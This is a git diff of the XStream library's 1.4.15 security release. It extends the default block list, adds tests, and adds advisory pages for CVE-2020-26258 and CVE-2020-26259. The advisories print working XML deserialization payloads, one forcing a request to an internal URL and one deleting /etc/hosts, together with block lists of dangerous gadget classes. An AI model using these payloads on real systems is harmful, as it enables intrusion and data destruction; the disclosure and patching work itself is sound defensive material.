diff --git a/BUILD.txt b/BUILD.txt index db3a4c3..04da29f 100644 --- a/BUILD.txt +++ b/BUILD.txt @@ -11,7 +11,7 @@ Before deploying: copy settings-template.xml to ~/.m2/settings.xml adding your Sonatype OSSRH -username and passwords. +username and passwords and also your GPG key and password. To deploy (optionally adding sources and javadoc jars): mvn deploy diff --git a/pom.xml b/pom.xml index 5aaac54..2c5cb43 100644 --- a/pom.xml +++ b/pom.xml @@ -14,7 +14,7 @@ com.thoughtworks.xstream xstream-parent pom - 1.4.14 + 1.4.15 XStream Parent http://x-stream.github.io @@ -410,12 +410,12 @@ com.thoughtworks.xstream xstream - 1.4.14 + 1.4.15 com.thoughtworks.xstream xstream - 1.4.14 + 1.4.15 tests test-jar test @@ -423,43 +423,43 @@ com.thoughtworks.xstream xstream - 1.4.14 + 1.4.15 javadoc provided com.thoughtworks.xstream xstream-hibernate - 1.4.14 + 1.4.15 com.thoughtworks.xstream xstream-hibernate - 1.4.14 + 1.4.15 javadoc provided com.thoughtworks.xstream xstream-jmh - 1.4.14 + 1.4.15 com.thoughtworks.xstream xstream-jmh - 1.4.14 + 1.4.15 javadoc provided com.thoughtworks.xstream xstream-benchmark - 1.4.14 + 1.4.15 com.thoughtworks.xstream xstream-benchmark - 1.4.14 + 1.4.15 javadoc provided @@ -634,6 +634,11 @@ javax.xml.bind jaxb-api ${version.javax.xml.bind.api} + + + com.sun.xml.ws + jaxws-rt + ${version.javax.xml.ws.jaxws.rt} @@ -844,6 +849,10 @@ org.apache.maven.plugins maven-gpg-plugin ${version.plugin.maven.gpg} + + ${gpg.keyname} + ${gpg.keyname} + org.apache.maven.plugins @@ -1114,7 +1123,7 @@ 2.3 1.4 2.22.0 - 1.4 + 1.6 2.2 2.2 2.10 @@ -1142,6 +1151,7 @@ 1.3.2 2.4.0 2.3.1 + 2.2 1.0.1 1.6 3.8.1 @@ -1155,7 +1165,7 @@ 2.0.5 20080701 1.21 - 3.5.0 + 3.5.0 1.6.1 1.2.0 1.0.1 diff --git a/settings-template.xml b/settings-template.xml index ffea412..e48b65f 100644 --- a/settings-template.xml +++ b/settings-template.xml @@ -20,6 +20,13 @@ ossrh-staging your-sonatype.org-id your-sonatype.org-pwd - + + + ${gpg.keyname} + your-gpg-key-pwd + + + your-gpg-keyname + diff --git a/xstream/pom.xml b/xstream/pom.xml index bde74f1..1679ded 100644 --- a/xstream/pom.xml +++ b/xstream/pom.xml @@ -14,7 +14,7 @@ com.thoughtworks.xstream xstream-parent - 1.4.14 + 1.4.15 xstream jar @@ -142,6 +142,54 @@ commons-lang commons-lang test + + + + com.sun.xml.ws + jaxws-rt + test + + + javax.xml.ws + jaxws-api + + + com.sun.istack + istack-commons-runtime + + + com.sun.xml.bind + jaxb-impl + + + com.sun.xml.messaging.saaj + saaj-impl + + + com.sun.xml.stream.buffer + streambuffer + + + com.sun.xml.ws + policy + + + com.sun.org.apache.xml.internal + resolver + + + org.glassfish.gmbal + gmbal-api-only + + + org.jvnet + mimepull + + + org.jvnet.staxex + stax-ex + + diff --git a/xstream/src/java/com/thoughtworks/xstream/XStream.java b/xstream/src/java/com/thoughtworks/xstream/XStream.java index b6e4e14..8415da2 100644 --- a/xstream/src/java/com/thoughtworks/xstream/XStream.java +++ b/xstream/src/java/com/thoughtworks/xstream/XStream.java @@ -337,6 +337,7 @@ private static final Pattern IGNORE_ALL = Pattern.compile(".*"); private static final Pattern LAZY_ITERATORS = Pattern.compile(".*\\$LazyIterator"); private static final Pattern JAVAX_CRYPTO = Pattern.compile("javax\\.crypto\\..*"); + private static final Pattern JAXWS_FILE_STREAM = Pattern.compile(".*\\.ReadAllStream\\$FileStream"); /** * Constructs a default XStream. @@ -642,8 +643,12 @@ } addPermission(AnyTypePermission.ANY); - denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter"}); - denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO}); + denyTypes(new String[]{ + "java.beans.EventHandler", // + "java.lang.ProcessBuilder", // + "javax.imageio.ImageIO$ContainsFilter", // + "jdk.nashorn.internal.objects.NativeString" }); + denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO, JAXWS_FILE_STREAM}); allowTypeHierarchy(Exception.class); securityInitialized = false; } diff --git a/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java b/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java index b8e19f8..b1c6f51 100644 --- a/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java +++ b/xstream/src/java/com/thoughtworks/xstream/io/xml/XmlFriendlyNameCoder.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2019 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2019, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -279,7 +279,7 @@ final BitSet XML_NAME_CHARS_4TH = new BitSet(0xFFFFF); XML_NAME_CHARS_4TH.set('-'); XML_NAME_CHARS_4TH.set('.'); - XML_NAME_CHARS_4TH.set('0', '9'); + XML_NAME_CHARS_4TH.set('0', '9' + 1); XML_NAME_CHARS_4TH.set(0xB7); final BitSet XML_NAME_CHARS_5TH = (BitSet)XML_NAME_CHARS_4TH.clone(); @@ -406,8 +406,8 @@ XML_NAME_CHARS_4TH.set(0x30FC, 0x30FE + 1); XML_NAME_CHARS_5TH.or(XML_NAME_START_CHARS_5TH); - XML_NAME_CHARS_5TH.set(0x300, 0x36F); - XML_NAME_CHARS_5TH.set(0x203F, 0x2040); + XML_NAME_CHARS_5TH.set(0x300, 0x36F + 1); + XML_NAME_CHARS_5TH.set(0x203F, 0x2040 + 1); XML_NAME_START_CHARS = (BitSet)XML_NAME_START_CHARS_4TH.clone(); XML_NAME_START_CHARS.and(XML_NAME_START_CHARS_5TH); @@ -493,9 +493,9 @@ // First, fast (common) case: nothing to escape int i = 0; - for (; i < length; i++ ) { - char c = name.charAt(i); - if (c == '$' || c == '_' || c <= 27 || c >= 127) { + for (; i < length; i++) { + final char c = name.charAt(i); + if (c < 'A' || (c > 'Z' && c < 'a') || c > 'Z') { break; } } diff --git a/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java b/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java index 02faf80..f5a3d0b 100644 --- a/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java +++ b/xstream/src/java/com/thoughtworks/xstream/mapper/DefaultMapper.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2015, 2016 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2011, 2013, 2015, 2016, 2020 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -77,7 +77,9 @@ initialize = elementName.charAt(0) == '['; } return Class.forName(elementName, initialize, classLoader); - } catch (ClassNotFoundException e) { + } catch (final ClassNotFoundException e) { + throw new CannotResolveClassException(elementName); + } catch (final IllegalArgumentException e) { throw new CannotResolveClassException(elementName); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java b/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java index 848db02..da5f861 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/SecurityVulnerabilityTest.java @@ -11,6 +11,11 @@ package com.thoughtworks.acceptance; import java.beans.EventHandler; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; import java.util.Iterator; import com.thoughtworks.xstream.XStream; @@ -213,4 +218,68 @@ // OK } } + + public void testCannotUseJaxwsInputStreamToDeleteFile() { + if (JVM.isVersion(5)) { + final String xml = "" + + "\n" + + " target/junit/test.txt\n" + + ""; + + xstream.aliasType("is", InputStream.class); + try { + xstream.fromXML(xml); + fail("Thrown " + ConversionException.class.getName() + " expected"); + } catch (final ForbiddenClassException e) { + // OK + } + } + } + + public void testExplicitlyUseJaxwsInputStreamToDeleteFile() throws IOException { + if (JVM.isVersion(5)) { + final File testDir = new File("target/junit"); + final File testFile = new File(testDir, "test.txt"); + try { + testDir.mkdirs(); + + final OutputStream out = new FileOutputStream(testFile); + out.write("JUnit".getBytes()); + out.flush(); + out.close(); + + assertTrue("Test file " + testFile.getPath() + " does not exist.", testFile.exists()); + + final String xml = "" + + "\n" + + " target/junit/test.txt\n" + + ""; + + xstream.addPermission(AnyTypePermission.ANY); // clear out defaults + xstream.aliasType("is", InputStream.class); + + InputStream is = null; + try { + is = (InputStream)xstream.fromXML(xml); + } catch (final ForbiddenClassException e) { + // OK + } + + assertTrue("Test file " + testFile.getPath() + " no longer exists.", testFile.exists()); + + byte[] data = new byte[10]; + is.read(data); + is.close(); + + assertFalse("Test file " + testFile.getPath() + " still exists exist.", testFile.exists()); + } finally { + if (testFile.exists()) { + testFile.delete(); + } + if (testDir.exists()) { + testDir.delete(); + } + } + } + } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java b/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java index 21b68a3..130c635 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XmlFriendlyTest.java @@ -187,6 +187,11 @@ assertBothWays("\"", """); } + public void testsDigitsOnly() { + xstream.alias("0123456789", String.class); + assertBothWays("", "<_.0030123456789>"); + } + public void testDecimalFormatSymbols() { final String xml; if (!JVM.is14()) { diff --git a/xstream-benchmark/pom.xml b/xstream-benchmark/pom.xml index 4f97308..724aaf5 100644 --- a/xstream-benchmark/pom.xml +++ b/xstream-benchmark/pom.xml @@ -14,7 +14,7 @@ com.thoughtworks.xstream xstream-parent - 1.4.14 + 1.4.15 xstream-benchmark jar diff --git a/xstream-distribution/pom.xml b/xstream-distribution/pom.xml index bd4f534..2154950 100644 --- a/xstream-distribution/pom.xml +++ b/xstream-distribution/pom.xml @@ -14,7 +14,7 @@ com.thoughtworks.xstream xstream-parent - 1.4.14 + 1.4.15 xstream-distribution pom diff --git a/xstream-distribution/src/content/CVE-2020-26217.html b/xstream-distribution/src/content/CVE-2020-26217.html index 469a85c..0d6670a 100644 --- a/xstream-distribution/src/content/CVE-2020-26217.html +++ b/xstream-distribution/src/content/CVE-2020-26217.html @@ -22,7 +22,7 @@

All versions until and including version 1.4.13 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security - framework with a white list.

+ framework with a whitelist.

Description

@@ -109,12 +109,12 @@ input stream.

Workaround

-

As recommended, use XStream's security framework to implement a white list for the allowed types.

-

Users of XStream 1.4.13 who want to use XStream default black list can simply add two lines to XStream's setup code:

+

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

+

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add two lines to XStream's setup code:

xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
 xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
 
-

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a black list will have to setup such a list from +

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, java.beans.EventHandler, java.lang.ProcessBuilder, java.lang.Void and void.

xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
@@ -139,8 +139,8 @@
 
     

Credits

-

Chen L reported the issue to XStream and provided the required information to reproduce it. The issue was found - by Zhihong Tian and Hui Lu, both from Guangzhou University.

+

Chen L found and reported the issue to XStream and provided the required information to reproduce it. He was + supported by Zhihong Tian and Hui Lu, both from Guangzhou University.

diff --git a/xstream-distribution/src/content/CVE-2020-26258.html b/xstream-distribution/src/content/CVE-2020-26258.html new file mode 100644 index 0000000..61777c2 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2020-26258.html @@ -0,0 +1,115 @@ + + + + CVE-2020-26258 + + + +

Vulnerability

+ +

CVE-2020-26258: A Server-Side Forgery Request can be activated unmarshalling with XStream to access data streams + from an arbitrary URL referencing a resource in an intranet or the local host.

+ +

Affected Versions

+ +

All versions until and including version 1.4.14 are affected running in a Java environment below Java 15, if + using the version out of the box. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<map>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString>
+      <flags>0</flags>
+      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
+        <dataHandler>
+          <dataSource class='javax.activation.URLDataSource'>
+            <url>http://localhost:8080/internal/:</url>
+          </dataSource>
+          <transferFlavors/>
+        </dataHandler>
+        <dataLen>0</dataLen>
+      </value>
+    </jdk.nashorn.internal.objects.NativeString>
+    <string>test</string>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the data from the URL location is collected.

+ +

Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to request data from internal resources that are not publicly + available only by manipulating the processed input stream.

+ +

Workaround

+

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

+

Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can + simply add two lines to XStream's setup code:

+
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup + code:

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from + scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, + java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, + java.lang.Void and void and deny several types by name pattern.

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently + know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

+
xstream.registerConverter(new Converter() {
+  public boolean canConvert(Class type) {
+    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
+        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
+        || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
+        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
+  }
+
+  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+
+  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+}, XStream.PRIORITY_LOW);
+
+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + \ No newline at end of file diff --git a/xstream-distribution/src/content/CVE-2020-26259.html b/xstream-distribution/src/content/CVE-2020-26259.html new file mode 100644 index 0000000..a336590 --- /dev/null +++ b/xstream-distribution/src/content/CVE-2020-26259.html @@ -0,0 +1,118 @@ + + + + CVE-2020-26259 + + + +

Vulnerability

+ +

CVE-2020-26259: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long + as the executing process has sufficient rights.

+ +

Affected Versions

+ +

All versions until and including version 1.4.14 are affected running in a Java environment containing the JAX-WS + runtime, if using the version out of the box. No user is affected, who followed the recommendation to setup + XStream's security framework with a whitelist.

+ +

Description

+ +

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. + XStream creates therefore new instances based on these type information. An attacker can manipulate the processed + input stream and replace or inject objects, that result in a server-side forgery request.

+ +

Steps to Reproduce

+ +

Create a simple HashMap and use XStream to marshal it to XML. Replace the XML with following snippet and + unmarshal it again with XStream:

+
<map>
+  <entry>
+    <jdk.nashorn.internal.objects.NativeString>
+      <flags>0</flags>
+      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
+        <dataHandler>
+          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
+            <contentType>text/plain</contentType>
+            <is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
+              <tempFile>/etc/hosts</tempFile>
+            </is>
+          </dataSource>
+          <transferFlavors/>
+        </dataHandler>
+        <dataLen>0</dataLen>
+      </value>
+    </jdk.nashorn.internal.objects.NativeString>
+    <string>test</string>
+  </entry>
+</map>
+
+
XStream xstream = new XStream();
+xstream.fromXML(xml);
+
+ +

As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.

+ +

Note, this example uses XML, but the attack can be performed for any supported format, e.g. JSON.

+ +

Impact

+ +

The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing + process has sufficient rights only by manipulating the processed input stream.

+ +

Workaround

+

As recommended, use XStream's security framework to implement a whitelist for the allowed types.

+

Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can + simply add two lines to XStream's setup code:

+
xstream.denyTypes(new String[]{ "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.13 who want to use XStream default blacklist can simply add three lines to XStream's setup + code:

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.12 to 1.4.7 who want to use XStream with a blacklist will have to setup such a list from + scratch and deny at least the following types: javax.imageio.ImageIO$ContainsFilter, + java.beans.EventHandler, java.lang.ProcessBuilder, jdk.nashorn.internal.objects.NativeString, + java.lang.Void and void and deny several types by name pattern.

+
xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter", "jdk.nashorn.internal.objects.NativeString" });
+xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class, java.beans.EventHandler.class, java.lang.ProcessBuilder.class, java.lang.Void.class, void.class });
+xstream.denyTypesByRegExp(new String[]{ ".*\\$LazyIterator", "javax\\.crypto\\..*", ".*\\.ReadAllStream\\$FileStream" });
+
+

Users of XStream 1.4.6 or below can register an own converter to prevent the unmarshalling of the currently + know critical types of the Java runtime. It is in fact an updated version of the workaround for CVE-2013-7285:

+
xstream.registerConverter(new Converter() {
+  public boolean canConvert(Class type) {
+    return type != null && (type == java.beans.EventHandler.class || type == java.lang.ProcessBuilder.class
+        || type.getName().equals("javax.imageio.ImageIO$ContainsFilter") || type.getName().equals("jdk.nashorn.internal.objects.NativeString")
+        || type == java.lang.Void.class || void.class || Proxy.isProxy(type)
+        || type.getName().startsWith("javax.crypto.") || type.getName().endsWith("$LazyIterator") || type.getName().endsWith(".ReadAllStream$FileStream"));
+  }
+
+  public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+
+  public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
+    throw new ConversionException("Unsupported type due to security reasons.");
+  }
+}, XStream.PRIORITY_LOW);
+
+ +

Credits

+ +

钟潦贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.

+ + + \ No newline at end of file diff --git a/xstream-distribution/src/content/changes.html b/xstream-distribution/src/content/changes.html index 52fec75..e45161b 100644 --- a/xstream-distribution/src/content/changes.html +++ b/xstream-distribution/src/content/changes.html @@ -34,6 +34,45 @@

Not yet released.

--> +

1.4.15

+ +

Released December 13, 2020.

+ +

This maintenance release addresses the security vulnerabilities + CVE-2020-26258 and CVE-2020-26259, when + unmarshalling for XStream instances with uninitialized security framework.

+ +

Minor changes

+ +
    +
  • GHI:#226: XmlFriendlyNameCoder does not accept '9' as valid character in an XML name.
  • +
  • GHPR:#228: DefaultMapper should handle IllegalArgumentException thrown by Class.forName().
  • +
+ +

Stream compatibility

+ +
    +
  • The type jdk.nashorn.internal.objects.NativeString and the internal JAX-WS type ReadAllStream.FileStream + are now part of the default blacklist and the deserialization of XML containing one of the two types will fail. + You will have to enable these types by explicit configuration, if you need them.
  • +
+ +

Delivery

+ +

Any XStream release can run with a minimal Java runtime environment of Java 1.4 as long as this environment will + process only requested classes of the jar file. Until version 1.4.14 XStream was delivered also as special Java 7 + version for Android, because Dalvik scans all classes and fails at classes requiring a higher runtime version. However, this + special version will not work in a normal Java 8 environment or higher and was never meant do so.

+ +

Unfortunately, this version has to be build always after the standard version due to the build sequence. The + latest version in Maven Central however is always the one that has been deployed last independently from the time + of publishing. This creates an annoyance now in GitHub for any project using the Dependabot service which creates + automated pull requests with updates to the latest XStream version, because it injects now the special Java 7 + version that probably breaks these projects.

+ +

Users who still require a special version for Java 7 will have to build this artifact now on their own. Users + for even older Java environments had always to do so anyway.

+

1.4.14

Released November 16, 2020.

@@ -46,8 +85,8 @@
  • The types java.lang.ProcessBuilder and javax.imageio.ImageIO$ContainsFilter are now part of the default - blacklist and the deserialization of XML containing one of the two types will fail. You will must enable these - types by explicit configuration, if you need them.
  • + blacklist and the deserialization of XML containing one of the two types will fail. You will have to enable + these types by explicit configuration, if you need them.

1.4.13

diff --git a/xstream-distribution/src/content/download.html b/xstream-distribution/src/content/download.html index 3b22502..5771843 100644 --- a/xstream-distribution/src/content/download.html +++ b/xstream-distribution/src/content/download.html @@ -18,21 +18,19 @@

About XStream version numbers...

-

Stable Version: 1.4.14

+

Stable Version: 1.4.15

Maven Central Repository

@@ -43,7 +41,7 @@
<dependency>
   <groupId>com.thoughtworks.xstream</groupId>
   <artifactId>xstream</artifactId>
-  <version>1.4.14</version>
+  <version>1.4.15</version>
 </dependency>

Previous Releases

diff --git a/xstream-distribution/src/content/index.html b/xstream-distribution/src/content/index.html index 393a7da..38a0d1f 100644 --- a/xstream-distribution/src/content/index.html +++ b/xstream-distribution/src/content/index.html @@ -73,16 +73,15 @@

Latest News

-

November 16, 2020 XStream 1.4.14 released

+

December 13, 2020 XStream 1.4.15 released

-

This maintenance release addresses the security vulnerability - CVE-2020-26217, reported originally as CVE-2017-9805 for Struts' XStream - Plugin, an arbitrary execution of commands when unmarshalling for XStream instances with uninitialized security - framework.

+

This maintenance release addresses the security vulnerabilities + CVE-2020-26258 and CVE-2020-26259, when + unmarshalling for XStream instances with uninitialized security framework.

-

View the complete change log and download.

+

View the complete change log and download.

-

Note, the next major release 1.5 will require Java 8.

+

Note, the next major release 1.5 will require Java 8.

diff --git a/xstream-distribution/src/content/news.html b/xstream-distribution/src/content/news.html index 199cc38..1e79626 100644 --- a/xstream-distribution/src/content/news.html +++ b/xstream-distribution/src/content/news.html @@ -15,6 +15,16 @@ + +

December 13, 2020 XStream 1.4.15 released

+ +

This maintenance release addresses the security vulnerabilities + CVE-2020-26258 and CVE-2020-26259, when + unmarshalling for XStream instances with uninitialized security framework.

+ +

View the complete change log and download.

+ +

Note, the next major release 1.5 will require Java 8.

November 16, 2020 XStream 1.4.14 released

diff --git a/xstream-distribution/src/content/security.html b/xstream-distribution/src/content/security.html index 72fd0f7..036cbd7 100644 --- a/xstream-distribution/src/content/security.html +++ b/xstream-distribution/src/content/security.html @@ -29,14 +29,15 @@

The provided XML data is used by XStream to unmarshal Java objects. This data can be manipulated by injecting the XML representation of other objects, that were not present at marshalling time. An attacker could take - advantage of this to execute arbitrary code or shell commands in the context of the server running the XStream - process. A concrete case is described in CVE-2013-7285 and - CVE-2020-26217.

- -

Note that the XML data can be manipulated on different levels. For example, manipulating values on existing - objects (such as a price value), or breaking the format and causing the XML parser to fail. The latter case will - raise an exception, but the former case must be handled by validity checks in any application which processes - user-supplied XML. A worst case scenario is the injection of arbitrary code or shell commands, as noted above. + advantage of this to access private data, delete local files, execute arbitrary code or shell commands in the + context of the server running the XStream process. Concrete cases are described in + CVE-2013-7285, CVE-2020-26217, + CVE-2020-26258, and CVE-2020-26259.

+ +

Note, that the XML data can be manipulated on different levels. For example, manipulating values on existing + objects (such as a price value), accessing private data, or breaking the format and causing the XML parser to fail. + The latter case will raise an exception, but the former case must be handled by validity checks in any application + which processes user-supplied XML. A worst case scenario is the injection of arbitrary code or shell commands, as noted above. Even worse, CVE-2017-7957 describes a case to crash the Java Virtual Machine causing a Denial of Service.

@@ -64,11 +65,12 @@         

More scenarios have been identified for types that are already delivered with the Java runtime. Looking at well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, the possibility for more - exploits is very high.

- -

Therefore creates a black list for special classes only a scenario for a false security, - because no-one can assure, that no other scenario arise. A better approach is a whitelist i.e. the allowed class - types are setup explicitly. This will be the default for XStream 1.5.x.

+ exploits is very high. A class like InvokerTransformer of Apache Commons Collections has a high potential for + attacks.

+ +

A blacklist for special classes only creates therefore a scenario for a false security, + because no-one can assure, that no other scenario arise. A better approach is the usage of a whitelist i.e. the + allowed class types are setup explicitly. This will be the default for XStream 1.5.x (see below).

Starting with XStream 1.4.7, an instance of the EventHandler is no longer handled by default. You have to explicitly register a ReflectionConverter for the EventHandler type, if your application has the requirement to @@ -91,8 +93,8 @@ framework supports the setup of a blacklist or whitelist scenario. Any application should use this feature to limit the danger of arbitrary command execution if it deserializes data from an external source.

-

XStream itself sets up a black list by default, i.e. it blocks all currently known critical classes of the Java - runtime. Main reason for the black list is compatibility, because otherwise newer versions of XStream 1.4.x can no +

XStream itself sets up a blacklist by default, i.e. it blocks all currently known critical classes of the Java + runtime. Main reason for the blacklist is compatibility, because otherwise newer versions of XStream 1.4.x can no longer be used as drop-in replacement. Unfortunately this provides a false sense of security. Every XStream client should therefore switch to a whitelist on its own as soon as possible. XStream itself will use a whitelist as default starting with 1.5.x and only clients that have also changed their setup will be able to use this newer @@ -121,7 +123,9 @@

Noted above, it might be possible that other combinations are found with the Java runtime itself, or other commonly-used Java libraries that allow a similar vulnerability like the known case using the Java Beans EventHandler. To prevent such a possibility at all, XStream version 1.4.7 and above contains a security framework, - allowing application developers to define which types are allowed to be unmarshalled with XStream.

+ allowing application developers to define which types are allowed to be unmarshalled with XStream. Use + XStream.setupDefaultSecurity() + to install the default whitelist of 1.5.x already with 1.4.10 or higher.

        

The core interface is TypePermission. The SecurityMapper will evaluate a list diff --git a/xstream-distribution/src/content/website.xml b/xstream-distribution/src/content/website.xml index 6491d07..c01aa06 100644 --- a/xstream-distribution/src/content/website.xml +++ b/xstream-distribution/src/content/website.xml @@ -1,6 +1,6 @@